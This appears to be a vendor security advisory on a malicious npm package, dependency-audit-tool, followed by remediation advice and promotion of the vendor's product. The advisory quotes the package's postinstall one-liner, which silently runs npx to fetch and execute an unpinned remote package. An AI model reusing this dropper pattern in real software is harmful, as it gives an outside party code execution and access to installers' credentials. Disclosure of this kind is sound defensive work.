dependency-audit-toolnpm
Malicious code in dependency-audit-tool (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a postinstall hook that runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching and executing whatever code is currently published under env-security-scanner with no version pin and no integrity check, while silently swallowing all errors. index.js (declared as both main and bin) performs the identical npx env-security-scanner@latest audit_environment delegation, so the same arbitrary remote code executes whenever the package is required or invoked as a CLI — guaranteeing execution even when installs use --ignore-scripts. The package additionally impersonates an OpenSSF working group via its author field (OSSF Audit Working Group) and a non-existent github.com/ossf-audit/dependency-audit-tool repo, framing itself as a supply-chain audit tool while functioning solely as a dropper for a separate unpinned third-party package. The mutable-version remote dependency means whoever controls publication of env-security-scanner can ship arbitrary code to every installer of this package at any future moment.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for dependency-audit-tool (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging dependency-audit-tool across your stack and pipelines.
If you installed it — respond
dependency-audit-tool is a typosquat — you almost certainly intended a legitimately-named package. Remove dependency-audit-tool, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If dependency-audit-tool was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks dependency-audit-tool before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks dependency-audit-tool-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.